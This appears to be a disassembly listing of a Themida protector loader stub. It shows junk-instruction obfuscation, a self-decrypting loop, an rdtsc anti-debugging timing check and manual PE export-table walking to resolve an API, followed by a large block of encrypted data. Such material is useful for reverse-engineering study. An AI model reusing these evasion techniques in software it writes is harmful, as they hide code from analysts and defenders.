db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ',0
align 10h
dd 30h dup(0)
db 89h, 0C0h
; ---------------------------------------------------------------------------
cmc
push ebp
mov ebp, esp
sub eax, eax
loc_614008: ; CODE XREF: Themida_:0061400Ej
dec al
or al, al
jz short loc_614012
jnz short loc_614008
jmp short near ptr loc_614077+2
; ---------------------------------------------------------------------------
loc_614012: ; CODE XREF: Themida_:0061400Cj
mov ebx, ebx
xchg ebx, ebx
mov edx, edx
nop
stc
clc
cmc
xchg ebx, ebx
xchg ebx, ebx
cld
call $+5
pop ecx
sub ecx, 0FFFFFFC8h
push ecx
sub esi, esi
or esi, 2900h
cld
cmc
mov ebx, 0FEh
xchg ebx, ebx
loc_61403F: ; CODE XREF: Themida_:00614058j
mov al, [ecx]
xchg ebx, ebx
stc
mov eax, eax
clc
xchg ebx, ebx
sub ax, bx
mov [ecx], al
cld
stc
cld
inc ecx
inc ebx
sub esi, 1
or esi, esi
jnz short loc_61403F
pop ecx
leave
jmp ecx
; ---------------------------------------------------------------------------
call $+5
mov eax, [esp]
cld
mov [eax+3033h], ebx
mov ecx, [eax+28EEh]
mov ebx, [esp+4]
loc_614077: ; CODE XREF: Themida_:00614010j
and ecx, 80000000h
jz short loc_6140AC
pop ecx
mov [eax+3037h], esi
push edi
pop dword ptr [eax+303Bh]
cmp byte ptr [eax+28F2h], 0E8h
jnz short loc_6140A3
add ebx, [eax+28F3h]
mov ebx, [ebx+2]
push dword ptr [ebx]
jmp short loc_6140AB
; ---------------------------------------------------------------------------
loc_6140A3: ; CODE XREF: Themida_:00614094j
mov ebx, [eax+28F4h]
push dword ptr [ebx]
loc_6140AB: ; CODE XREF: Themida_:006140A1j
pop ebx
loc_6140AC: ; CODE XREF: Themida_:0061407Dj
push ebp
mov ebp, eax
sub dword ptr [esp+4], 0FF04Fh
sub ebp, 361005h
mov edi, [esp+4]
lea esi, [ebp+363900h]
mov ecx, 0
rep movsb
call sub_614184
mov ecx, eax
call sub_614184
sub eax, ecx
jz short loc_614157
cmp eax, 100h
ja short loc_614157
and ebx, 0FFFFF000h
loc_6140EB: ; CODE XREF: Themida_:006140FAj
cmp dword ptr [ebx+4Eh], 73696854h
jz short loc_6140FC
loc_6140F4: ; CODE XREF: Themida_:00614106j
sub ebx, 100h
jnz short loc_6140EB
loc_6140FC: ; CODE XREF: Themida_:006140F2j
mov eax, ebx
add eax, [ebx+3Ch]
cmp word ptr [eax], 4550h
jnz short loc_6140F4
mov edx, [eax+78h]
add edx, ebx
mov esi, [edx+20h]
mov ecx, [edx+18h]
add esi, ebx
push ecx
loc_614116: ; CODE XREF: Themida_:loc_61412Aj
lodsd
add eax, ebx
cmp word ptr [eax+2], 5074h
jnz short loc_61412A
cmp dword ptr [eax+5], 6441636Fh
jz short loc_61412F
loc_61412A: ; CODE XREF: Themida_:0061411Fj
loop loc_614116
pop ecx
jmp short loc_614157
; ---------------------------------------------------------------------------
loc_61412F: ; CODE XREF: Themida_:00614128j
sub [esp], ecx
mov esi, [edx+24h]
pop ecx
add esi, ebx
movzx eax, word ptr [esi+ecx*2]
mov edi, [edx+1Ch]
add edi, ebx
mov esi, [edi+eax*4]
add esi, ebx
lea eax, [ebp+361140h]
mov dx, [eax-17h]
call sub_614189
jmp short loc_61419E
; ---------------------------------------------------------------------------
loc_614157: ; CODE XREF: Themida_:006140DCj
; Themida_:006140E3j ...
mov eax, [ebp+3638F3h]
and eax, 80000000h
jz short loc_614182
mov edi, [esp+4]
lea esi, [ebp+3638F7h]
movsd
movsb
mov esi, [ebp+36403Ch]
mov edi, [ebp+364040h]
mov ebx, [ebp+364038h]
loc_614182: ; CODE XREF: Themida_:00614162j
pop ebp
retn
; =============== S U B R O U T I N E =======================================
sub_614184 proc near ; CODE XREF: Themida_:006140CEp
; Themida_:006140D5p
rdtsc
retn
sub_614184 endp
; ---------------------------------------------------------------------------
cld
push ecx
; =============== S U B R O U T I N E =======================================
sub_614189 proc near ; CODE XREF: Themida_:00614150p
push ebx
mov ecx, 27B3h
mov ebx, edx
loc_614191: ; CODE XREF: sub_614189+11j
xor [eax], dl
sub dl, bl
xchg dl, dh
xchg bl, bh
inc eax
loop loc_614191
pop ebx
retn
sub_614189 endp
; ---------------------------------------------------------------------------
loc_61419E: ; CODE XREF: Themida_:00614155j
adc al, 5Dh
; ---------------------------------------------------------------------------
dd 0EC040000h, 687F3164h, 0F7ADD58h, 9A1C7F74h, 0A2ADAEDFh
dd 851AEDBEh, 0E33439D8h, 244ED138h, 0DA218421h, 89222B3Eh
dd 0A407AC11h, 23D9838Eh, 0FF645E5Bh, 756CC665h, 9F004137h
dd 7408F119h, 0FDEB92F2h, 3B736D88h, 700A1919h, 6A74FAAEh
dd 82A458A3h, 3928B968h, 934BEB4Fh, 1A22E747h, 0BF41D0F6h
dd 0DE4DABC7h, 86548CD0h, 99EAFFE0h, 8F03DE1h, 63AC9E5Dh
dd 8B79FAF0h, 9EFC54EDh, 59115085h, 4E0BF508h, 1D01ECB5h
dd 2C9FDA18h, 0E7122DA0h, 0C1891528h, 0A334C225h, 14B4F7BBh
dd 844B076h, 0AF918B8Eh, 92556C66h, 4F6768EDh, 2BD1A560h
dd 66CB07Dh, 3DC969B9h, 407C7443h, 4C0848A0h, 52D3FE88h
dd 3DAFB205h, 76747B98h, 0C7709CAFh, 622776A8h, 80F4BEA4h
dd 0F1BC5A7Bh, 0BA4D98C0h, 9DFAD56Eh, 0FBA414B8h, 0A6DCC0D8h
dd 81D82E75h, 1A2CE3E8h, 73F62A74h, 6471B5F8h, 2F329000h
dd 9BB53183h, 6A143C1Ch, 7F0C9AF5h, 0FAB17520h, 0F62C603Ah
dd 0E0D64B95h, 3DB732D4h, 0DF77782Ah, 38D94311h, 28541A4Bh
dd 0B0A001F3h, 0D09AF837h, 0F6041174h, 0AC74A570h, 8747A4EDh
dd 2F40E380h, 0E9837E0Dh, 0CB941E0Fh, 439C100Fh, 83A4B0A1h
dd 0E5C4B6A8h, 0BCB495B0h, 9787542Dh, 0F004D5C0h, 5DCE2C4Ch
dd 0EBD466D0h, 1DDC6AB0h, 0B6E4A2E0h, 0BFBB2A00h, 329CD4F1h
dd 6EFCE3F8h, 0D93FE695h, 4D06F608h, 3EEBFC11h, 92A61BEh
dd 6724BDC8h, 0C77DFF28h, 235E7430h, 0EB363161h, 0C5D1CF4Ah
dd 0D64CB874h, 26D72FA1h, 0F96A719Eh, 63E0A760h, 5D6C066Ah
dd 13746476h, 3D389636h, 5A7B20CCh, 2DBA456Ah, 9C42691Dh
dd 20AF3AAEh, 7B8A252Dh, 0AB1DF69Eh, 1C0BC23h, 0DC3FB2B8h
dd 0BFF22CA2h, 1D4861C8h, 0F0D4CCD2h, 0EFE0185Dh, 369477E0h
dd 0ADA66367h, 767F44C6h, 51CA9EB2h, 200570FFh, 3B34C98Dh
dd 5D913710h, 361C2C24h, 0A2AB7950h, 851AEEB6h, 0DF0EB9BBh
dd 5BDF920Eh, 104581BFh, 0CB74E5CDh, 19D92750h, 5A5C3C64h
dd 16159769h, 4DD443E7h, 6B9C2446h, 0BC7C8279h, 0B9B8583Dh
dd 8743B588h, 0B44D6A90h, 481FFEE8h, 4E432A3h, 65C6E151h
dd 76390CDAh, 218A675Bh, 7FC4C979h, 90C8A3C8h, 0C42B732Eh
dd 9D5141BEh, 0F7E448ADh, 0D847C0E8h, 815F00B7h, 7569EF1Ch
dd 0C304F63Bh, 0AB0E976Eh, 29D6FFBBh, 5D972FFAh, 0BF4C384Ah
dd 0CE2C9658h, 28349EFCh, 693C38FCh, 5744B040h, 0EF1D4E22h
dd 0E404623Ah, 4F60F4CDh, 13E77060h, 4534EE28h, 47FFE470h
dd 3DF74212h, 4FEEE0EAh, 0C7DEFCE2h, 7BCC3490h, 69F6BA98h
dd 975B72F1h, 19EAE357h, 0DAEBD486h, 65B3CD3Dh, 3FC491C7h
dd 8DCC5B45h, 0ED6D4CE6h, 0D2DCAAD4h, 3641FB0Fh, 23FC6605h
dd 307149F0h, 2EFC14ECh, 4550D0E0h, 72F3B428h, 0DD287285h
dd 16DC1F18h, 0E9CCCC55h, 0ED2C5629h, 6334B421h, 0A478776Bh
dd 4F230522h, 143AA73Ah, 0BE33493Ch, 76B4DD58h, 6864E865h
dd 0C353FADDh, 81E15B70h, 0E67C3443h, 3412F57Fh, 6DE6BEBEh
dd 5E6B1EFAh, 29AA415Eh, 87A5F019h, 487A1A8h, 17909839h
dd 0AB290DEFh, 0CCC466FCh, 0FB692D3Eh, 0BBD43AECh, 8C233D8Ch
dd 77D2F4EEh, 0B398E66Dh, 370A07B6h, 0E5030C8Ah, 0EF6E4824h
dd 0D8F3B462h, 0AB22C016h, 0D5689A9Dh, 62A350B3h, 0C1F1628h
dd 1A0E97A1h, 0B70074BDh, 5E764540h, 5E68AA34h, 0EF279E23h
dd 599DCB70h, 764A86Eh, 0E43A563Ch, 0EC273420h, 47477CEDh
dd 9644A580h, 597371FCh, 0E1BD4B4h, 0E9AA063Eh, 0B8595D48h
dd 3053A557h, 3826F26h, 0A53D3C53h, 0BFC411E8h, 8B59919Fh
dd 84D4FAEBh, 0EFE7BC4Dh, 0CC2561E0h, 0CFEC1917h, 0F39E449Ah
dd 5196A292h, 0AB040168h, 67C8D508h, 677EEC10h, 2BE3DE93h
dd 137B0076h, 4C1FD628h, 1CCBEED8h, 13A91FC7h, 0CD44C655h
dd 21C1F19h, 6D6F36C5h, 99988958h, 4F3CF8A3h, 4534C630h
dd 0DD1F2470h, 317D8278h, 8F84E080h, 0ED8C3E88h, 63679C90h
dd 0A99CFA98h, 51F558A0h, 0C73949FBh, 68B4228Bh, 0E138DEE1h
dd 91262BB5h, 0A059A30Bh, 69D4BAC9h, 0A2267F27h, 726D48D6h
dd 55DA9954h, 0B3F41218h, 7E932EF8h, 3F74B56Bh, 0A47A777Ah
dd 4E73197Ch, 0FC70BB4Eh, 0B7247945h, 7E8E03D7h, 26BDF406h
dd 10A6DF8h, 3E06EC83h, 0DC026B3Bh, 5430093Dh, 1A39A03Ah
dd 81385B14h, 5609D51Ch, 0E018E404h, 9410300Ch, 3DC7A0EEh
dd 0C8F89FEDh, 6EF835D6h, 1BDFBAD9h, 0A2D079C5h, 40C01FEEh
dd 0F3C4B5FDh, 0A0DB5CD1h, 5AB6D3C0h, 0CDA99AA9h, 9EB723A2h
dd 599DD9ABh, 0D6817AA3h, 70BE039Ch, 1680AB9Dh, 0B48E4AACh
dd 6C04E461h, 0F96DBB7Ah, 997C6875h, 4978FB7Dh, 0C6418A63h
dd 6A78335Ch, 65CD85Fh, 0F30F6254h, 6F251E13h, 923A63Bh
dd 0B22C6950h, 4B34DE2Ch, 97008905h, 90002F2Eh, 3619CD24h
dd 0C82F6D2Ch, 62E114F3h, 8E1D7DCh, 0AEE65A90h, 4BF536FDh
dd 0FED6B9D2h, 91C971A8h, 26D8FDF6h, 0D3C886F9h, 8BB132A9h
dd 5D8DDDADh, 0FDA06997h, 4AB906B1h, 7781B289h, 939843AFh
dd 6791E899h, 91998F91h, 0A2702547h, 2179FA67h, 0C575B475h
dd 4879367Ch, 1341FF20h, 0B541737Ch, 46581D76h, 0E451B376h
dd 0BA033001h, 5029DA3Ch, 0EF35BC20h, 0BE5C0B30h, 3232DC05h
dd 0DA05751Ah, 7633641Eh, 319940Ch, 0A1EB49F3h, 2DCD06CDh
dd 0DDE0B9D7h, 84E956F7h, 21CAD1C5h, 0C4C184C7h, 6DDB3DC4h
dd 0EF0B2F9h, 0D68874A1h, 6FAD1CAAh, 36D48DA9h, 0B08A5AB9h
dd 51ABFF85h, 0F0808FAEh, 96840BF0h, 3D95E496h, 0DF654D65h
dd 6A623778h, 1B5BBC51h, 0BB4C747Dh, 54411B4Fh, 0F77CD65Bh
dd 9051575Fh, 70EA14Bh, 0EB378229h, 923E1E48h, 2827C933h
dd 0DC12386Bh, 44641C18h, 1C2AB20Dh, 0A735411Ch, 5315F00Ch
dd 0FCE194F5h, 88DF3EC9h, 27FDDAE4h, 0C4F5AEFDh, 6BF758C5h
dd 65DCD3CDh, 0B7C76DE3h, 48E81FDDh, 1090B5ADh, 0B8A0478Eh
dd 5EB9E584h, 0F4B2BFD8h, 9EB23881h, 33A3D18Dh, 0D6986DB6h
dd 639534F8h, 365B574h, 0A2607249h, 59437C73h, 0CF79AE71h
dd 0E7415449h, 216DE266h, 0D747815Ah, 77552068h, 3821DC29h
dd 0D2187D2Dh, 1B3A093Bh, 0B1FBE16h, 0B2104905h, 5000EF2Eh
dd 0D000AA70h, 851D270Ah, 20F6F0E5h, 0DEFF9BEBh, 48E01290h
dd 1DFDDFEAh, 0A8D648C5h, 56DF13CBh, 0CDB4ACF5h, 84CE71CCh
dd 6CA1E4A1h, 0F4B88DADh, 0B5D422BFh, 3CAEE9ACh, 0E2817C81h
dd 459E039Bh, 1697AB82h, 9FFC518Bh, 5F65CD74h, 0FA69B75Eh
dd 8E475A5Fh, 2675EE7Bh, 0D36AF84Eh, 6B492667h, 658DD76h
dd 8E485C38h, 4F2A1530h, 182FA13Ah, 0B4005F23h, 3932EF33h
dd 0E72B9C2Eh, 903F280Dh, 3C1DD013h, 0C5320216h, 7BEB12D0h
dd 3BF8DDEDh, 0BEE06EF9h, 4CD116F9h, 0FED6B7CDh, 0B4D878A8h
dd 3AC6F1C5h, 0CEDA9CF1h, 8BA53DB2h, 9A2C1A1h, 0D5B167BFh
dd 4EA824D8h, 1290A192h, 0A19E4FBEh, 7E98E585h, 0E3938F9Dh
dd 9B564079h, 2462CB64h, 0CE709373h, 606E2E4Bh, 870DF4Eh
dd 0AC5F7869h, 4A460063h, 0D63CB556h, 0AB177113h, 4838FC29h
dd 0F737EC20h, 8A393937h, 320FCB0Fh, 0DA0F061Ch, 70110A1Eh
dd 141BC20Ch, 0BCEB48F4h, 43F51CFCh, 8BF1B1F1h, 9FFF5FEAh
dd 29C1EBA0h, 0CADFF6CCh, 77D13FD3h, 15D2FBB8h, 0DAAA62A5h
dd 72A02DBCh, 1A9CA9A3h, 0BCB04EB6h, 438AC1E0h, 0F082948Dh
dd 87910384h, 3F92CDBBh
dd 0CA706365h, 6C780D6Ch, 2214D964h, 0BB796E76h, 68501D4Eh
dd 0C442B358h, 975A7D30h, 2452E05Dh, 0FA34BF34h, 913E1B26h
dd 351DAC11h, 0D72E6F2Ch, 72361C05h, 1C2AA209h, 9274411Ch
dd 613DD43Ch, 0A1B6D3C9h, 0EDC072CCh, 8F3F9C2h, 0CCEF95F4h
dd 7DD3DEBh, 2ACBD3FAh, 88DA71C0h, 59F90BDDh, 1A96D081h
dd 0B8B97FAFh, 5A82F5A2h, 0DCB99FB4h, 0A5E40998h, 30BFC18Dh
dd 0DF955284h, 69B9078Dh, 5C52C041h, 9B0E74FEh, 41C0F746h
dd 0FBE38819h, 72DB6E38h, 451AA9E8h, 0F56230BBh, 0FE6A026Eh
dd 0CABBA830h, 0BD7A3266h, 4544A8D3h, 0F45CC29Ah, 1F4FD329h
dd 356CEE39h, 0DFF90C70h, 0F116415Ch, 1FD5A5EAh, 268994DBh
dd 0DF1F0C5Ch, 29F6EEC8h, 38F74AF1h, 1390203Dh, 8F7057B0h
dd 0DDE2A747h, 0FB4790F6h, 8412DC0h, 0FBE277B4h, 59B663EBh
dd 0B7D460B2h, 0D16766DAh, 339E95A1h, 0C99673A8h, 7B0C4083h
dd 725CD062h, 0DD286E85h, 69D81918h, 67A12A13h, 0F2EECF27h
dd 0A117ECEAh, 3E0F45FBh, 0E0BBB1A8h, 0D8C8C1B7h, 8B542C50h
dd 392CD230h, 0FDB06360h, 9FA0CD68h, 5374CC30h, 0B3160268h
dd 67840AD2h, 6D8CCED0h, 98C51CFAh, 6F0985C8h, 0D8A4EE9Ch
dd 7339C9F1h, 0C6B4A28Bh, 2ACD8647h, 0C9D1D84Dh, 0D0C04DC8h
dd 8DC40C45h, 4E0D69D8h, 0FC3637B3h, 0E3D0146Dh, 7A7B09F0h
dd 79FCE2D0h, 10FBBF2Bh, 71461B83h, 2499FC26h, 91C728Eh
dd 98DBA2C8h, 0F3A99DD7h, 0AE34420Ch, 81144FB7h, 204DD840h
dd 0B8C771B7h, 9B62D06Ah, 0D9288ADDh, 7FCE27EDh, 41840668h
dd 988B9B8Eh, 474080FDh, 0BB44A580h, 9A03F383h, 6394DCB8h
dd 1663C447h, 84FB5F2Bh, 0A5AC1EFDh, 82E954B0h, 57A7AE55h
dd 320D23C0h, 2BD2CE4Dh, 2A809DD0h, 888D7A89h, 0C261D1Fh
dd 916BE6DEh, 6561BBD4h, 0CFC94C3h, 0FA0404C2h, 0D0C5EE0h
dd 8695E110h, 0C92A0153h, 0B2A9874Ah, 851ACD3Eh, 0C3F96660h
dd 4116921Ch, 0F94834C3h, 0E610CB8Fh, 7B99AC66h, 0A2028F9Fh
dd 17406856h, 0B631C642h, 3B2C3E1Ah, 317C8271h, 25E5A20Dh
dd 1DF9F776h, 0FB01F553h, 0AC9CCCA4h, 45AC5024h, 591C2321h
dd 21431486h, 2154277Bh, 22C4D0C0h, 0C669C349h, 0A65F8CE6h
dd 99EAD66Ch, 0FFC03463h, 0EC68A9E8h, 32F404F0h, 11FE6A14h
dd 6B6C9400h, 320C1E09h, 1D2F9685h, 4E05118h, 0E6201CA4h
dd 2F7C9628h, 0A3301C30h, 536A5238h, 0A013B012h, 8B77E8DDh
dd 969D5F50h, 795DCECFh, 0BD357960h, 3406D76Ah, 9374E418h
dd 64831038h, 4FB29B32h, 0D97A7B1Eh, 63C00CCBh, 699CBB9Ch
dd 0E310E7F7h, 25AC7488h, 0BF26414Fh, 64E5328Eh, 0DCD2E400h
dd 4947BEDCh, 0AA864CBAh, 0CC23FC8Fh, 0B7D234CAh, 602CE3B1h
dd 0E60B9220h, 0D1CA196Eh, 7D40D78Dh, 0D548B45Fh, 0EA10AB9Dh
dd 7AB79A18h, 0FE3492E0h, 557CFDDBh, 3364E460h, 54C34068h
dd 1F724BFAh, 7F440AC9h, 0AFAB2C50h, 0ACA3827Ch, 9752D4E2h
dd 77F9B93Bh, 0E74924Ch, 317C06BAh, 0EF16ABEh, 0E90135CEh
dd 28942A85h, 2909F781h, 84A4EEB0h, 37536079h, 0CBBB5434h
dd 0A1BCF3A7h, 0FED4D4CFh, 634CAEC8h, 0FDC479EAh, 16DC5458h
dd 77E5C964h, 0F5D2A6E8h, 0B2B27585h, 0DFB5B2C6h, 64463547h
dd 4C4A58C7h, 0FADAD75Fh, 5F4D5A72h, 1DB14773h, 9C2C2014h
dd 0A63BB50Bh, 813CD2E7h, 0C1D0B5CDh, 3D268E7Eh, 9B54E038h
dd 60F1A58h, 6158D2F5h, 0B5603B68h, 967B6470h, 717CC2C7h
dd 0CF849169h, 7DB2FF88h, 84C295C2h, 0E99C9F1Dh, 4F621BA0h
dd 0AAA1CA04h, 3B4CD34h, 149C8EB8h, 85F8BC33h, 1D40EBC7h
dd 7679CCD0h, 0F9FC0AF8h, 5283A9DDh, 3993939Ch, 8F8164CCh
dd 7103DC79h, 0DA707468h, 0E72DF79h, 443B8660h, 8EDA726Dh
dd 162B78DFh, 850BC692h, 0B1D6C330h, 7D2607C7h, 5F77F076h
dd 0AD1C1E18h, 5B54A5B8h, 0CE334E58h, 760B040Eh, 0E093C60Ch
dd 0D34218FAh, 70842FDh, 0A0D29B3h, 0EDBA023Ch, 4994F4C1h
dd 0F8CD7A98h, 925B08F6h, 659A8A26h, 0D82B813Dh, 12EC728Eh
dd 2F958409h, 229D7F9Ah, 0DEF4E45h, 0BDD86DD8h, 0CC72DD1Fh
dd 9614A6DEh, 0A6838970h, 0E8FD62CEh, 505AAC3h, 323FE109h
dd 3EEB7863h, 0D3681A9Dh, 37AFE313h, 152F9D9Bh, 6081790Ch
dd 8A3C6425h, 5F45BCFAh, 0B5C68548h, 18546C51h, 1997E1A0h
dd 7197E3EBh, 7269F209h, 0BD9F1192h, 0A27385FBh, 0C4D36C0Bh
dd 0C7D8AE5Ch, 61C60DD0h, 3F094567h, 4CA42E9Ch, 1397BC25h
dd 8F7057B0h, 83FFD93h, 55C357C7h, 14CC06C8h, 0A8174F9Fh
dd 0E88EC97h, 0EBA15AA1h, 678F0FA5h, 159BB79Fh, 0B8AB7E8Ch
dd 586BE46Eh, 0F84F827Bh, 85714E62h, 3B79CC6Ch, 0C94B9153h
dd 75541374h, 646DB5Ch, 0A068124Ah, 6B211732h, 93FA100h
dd 0DB542E50h, 0B02EDF08h, 0F416815Ch, 9C16680Ch, 235AC215h
dd 0F8320214h, 7BA42BC3h, 2FFDAEEh, 0C1E366FFh, 7BD929CDh
dd 0C8EEAC80h, 0C38C78E1h, 37C6FDC6h, 49E9F8CDh, 0FFC450C0h
dd 0FB212F95h, 7DD43ACEh, 2FC91D5Dh, 0E21BC8E0h, 0D5DA1D06h
dd 47EB6C31h, 1AE288C4h, 0D93FE6B5h, 71A0C708h, 0CD3E893Eh
dd 14E36499h, 0DAA99B55h, 0C51A2A82h, 743602BBh, 0C99B49Dh
dd 0E97C2FC5h, 78C90148h, 6154DA68h, 75A60CD1h, 0E69F562Eh
dd 5EA3E469h, 0E85C8C20h, 0DFF3D87h, 0BA8028A4h, 2D8496CCh
dd 0CDC7DC90h, 0A5D814DBh, 0D25B98ECh, 0A59ACD52h, 0EC094BBh
dd 32BED82Bh, 8466853Fh, 0CD336EFEh, 854A2443h, 0D234D527h
dd 64E488E0h, 0DAB3A5AEh, 0BFB06AA3h, 0C403A2B4h, 0AF323BFAh
dd 0F2F2DDE0h, 9D1C54EFh, 44E3E5E7h, 27126AFDh, 0A11F1Bh
dd 0E3027464h, 106DC369h, 0CE15A110h, 0C6BADBB7h, 50BCAC66h
dd 0EC5C0A58h, 24362D33h, 3928E85Ah, 468B243Ch, 314AB982h
dd 8F84EA68h, 9DFF4988h, 3FFAF5E2h, 0F99CBBFEh, 3C06CD5Fh
dd 0E025B69Eh, 0C3822F1Ah, 0AC3143B7h, 7FF2C9BDh, 0E17CAB41h
dd 0C4858CE6h, 0AFE7104Dh, 0F38CDBE0h, 0D8ECA6E8h, 85ED8E45h
dd 0AC713BF8h, 6F32FC96h, 32F9D7E0h, 0AED31AEFh, 892AC475h
dd 42A76820h, 451A8847h, 8EA17930h, 513C6426h, 3545DA14h
dd 0BF245C48h, 0E4D46C50h, 4F6050CDh, 8DA4AD60h, 0B8E1A41Dh
dd 9342FA10h, 7C7A282Ah, 799ACD35h, 0FDDAAA88h, 0F4C60DC0h
dd 5FA0240Dh, 525B40A0h, 259A4A3Eh, 0BD035176h, 9BC328Eh
dd 3FC490CCh, 0DE83BD9Fh, 0D5E67F9Bh, 5990E69Ch, 8C1E9D1Fh
dd 7D7F66DEh, 73F4C4F7h, 0C91D9775h, 0A25D8036h, 0BB30B8B5h
dd 1E50D410h, 45F465E7h, 0F024F820h, 4B651861h, 271AE075h
dd 3E3C5E74h, 297F8AD5h, 728C4B48h, 0DB5619D4h, 3C341958h
dd 1A64E860h, 0C37559DDh, 0EEF9FD70h, 0B14A3EFAh, 0F0716D68h
dd 0EB313D77h, 0CB942AACh, 2B8CFE97h, 6B25D8A0h, 0E5AC3738h
dd 42B5FCE4h, 3443F2B8h, 0FFF26CA6h, 5C5C6A49h, 30840CD0h
dd 4BDC000Ch, 4B625D1Fh, 156926DEh, 5BF9F1A9h, 91FCF170h
dd 0D31ED5FFh, 0AFE79E3Eh, 0B57B4193h, 7C1C5A2Eh, 14A13509h
dd 952C2036h, 1F46E1CFh, 41B9D20Eh, 0DECDB44Fh, 7DC78E48h
dd 6454675Ch, 96D9C568h, 91649E7Eh, 8352B1EDh, 131E6570h
dd 7316C312h, 0F3FAB57Fh, 0D50F7EBEh, 0EB10D36Fh, 7A9C3A99h
dd 59CF0D2Dh, 0B5C6F69Eh, 964B07E2h, 618A8ED6h, 3ACBD045h
dd 1DCC6F88h, 6551715Dh, 0D16D2AEEh, 0C81ECB08h, 95788E17h
dd 0D8AA44F0h, 75C82B1Eh
dd 5D91FF54h, 800C6833h, 5D0A2FADh, 211DAB18h, 0D8DB8204h
dd 9BAC43A5h, 0E35E3406h, 413C8650h, 6017A240h, 0CB7034DDh
dd 7F102150h, 0EDC9874Ch, 47645E20h, 0FE667067h, 12600034h
dd 7B7E8A98h, 8DCEF281h, 0E68F749Ah, 0CB9CB8D4h, 495DF579h
dd 43AF09A8h, 5753A68Ch, 7B0999E0h, 0C9BC4484h, 7FC4D0DCh
dd 0A5FA00EDh, 15F4A2F0h, 0BCF9D0F8h, 8FDC66C5h, 70CCDECDh
dd 0FCBE0E83h, 11DC2CB1h, 0C5913F57h, 4C0C2833h, 2B14D0D4h
dd 0D91CB018h, 72DB6B77h, 451AAA52h, 0B6A479BBh, 156520Eh
dd 962FABA3h, 0B8A45F45h, 3D546C50h, 7956AE7Dh, 7DF1D737h
dd 0B66CB053h, 7824E8B4h, 0F17B2A73h, 0F209A080h, 0ADBAE011h
dd 9E6B0FC7h, 69AA86E2h, 93DAD825h, 1914C325h, 2637D486h
dd 0E18A2728h, 88491DC0h, 0B6CCD8F6h, 0AAD4261Eh, 0CC23F98Eh
dd 0B7D23496h, 6BEC9E6Bh, 8D7F55DFh, 0ED449775h, 22B48036h
dd 9D7970FAh, 1125D470h, 3B7D65E7h, 2A2D1B37h, 0EFC7575Fh
dd 0AD1F7BBBh, 0FD84AFB5h, 0BBB77076h, 0C4A739CFh, 0B1C1D303h
dd 0B95CBC64h, 0A1719FDDh, 0DF184768h, 53019418h, 0ABE9FD78h
dd 8F8456BCh, 5BB20935h, 0DAE01C90h, 37F3FF5Fh, 87A4D896h
dd 606A36A8h, 4382AA07h, 5FB41BB8h, 7A03AF3Fh, 5DFABB48h
dd 3BD40CD0h, 19D8A885h, 57ABC2EDh, 0BB834986h, 1392EBD0h
dd 0F49A8B94h, 0CF4B6021h, 2861F77Ch, 8B7B8830h, 6C703F7Bh
dd 1345CA42h, 0CF21374Dh, 3145410h, 0F21C9D18h, 0BA295D35h
dd 5C2BAE3Ah, 0F5318822h, 0AB564779h, 3901C405h, 0C6096A1Ch
dd 330D0803h, 10CA310h, 0A1E500F9h, 55E95EECh, 0FFF7B9E0h
dd 0C5E854F9h, 26D0EB80h, 0CBC592C6h, 2E946ED7h, 0EBB8B5h
dd 0D6AC73B4h, 7CEC09A6h, 1FF4A0BCh, 0B8FC53B9h, 59C4EC8Eh
dd 0E1848181h, 9C9264DCh, 239A828Ah, 0CB6A6569h, 2D457E7Bh
dd 1F7DDD67h, 9E161722h, 42561D48h, 0E05EB708h, 965B4D10h
dd 335AB214h, 0FB2A9529h, 0BE6C713Bh, 7A31C13Fh, 99284378h
dd 63441B09h, 5409AB01h, 0F4006D50h, 5010A20Bh, 27A585F4h
dd 62C09C29h, 6253F408h, 8A8C5C8Ch, 1401A27Ah, 39BC10BCh
dd 1C76787Ch, 6AEFDDD1h, 0D548A170h, 8FD6EF1Ah, 3B0C3463h
dd 99DCEAD8h, 0F7E448E0h, 55ECA6E8h, 0B3F404F0h, 11FC62F8h
dd 6F04C000h, 0CD0C1E08h, 2B147C10h, 891CDA18h, 0E7243820h
dd 452C9628h, 0A334F430h, 13C5238h, 5F44B040h, 0BD4C0E48h
dd 1B546C50h, 795CCA58h, 0D7642860h, 356C8668h, 9374E470h
dd 0F17C4278h, 2F84A080h, 0EDA85B0Bh, 88945CA6h, 5FDC923Dh
dd 70AB18A0h, 762162EBh, 0C803DBA8h, 6A6C31BEh, 14E0B484h
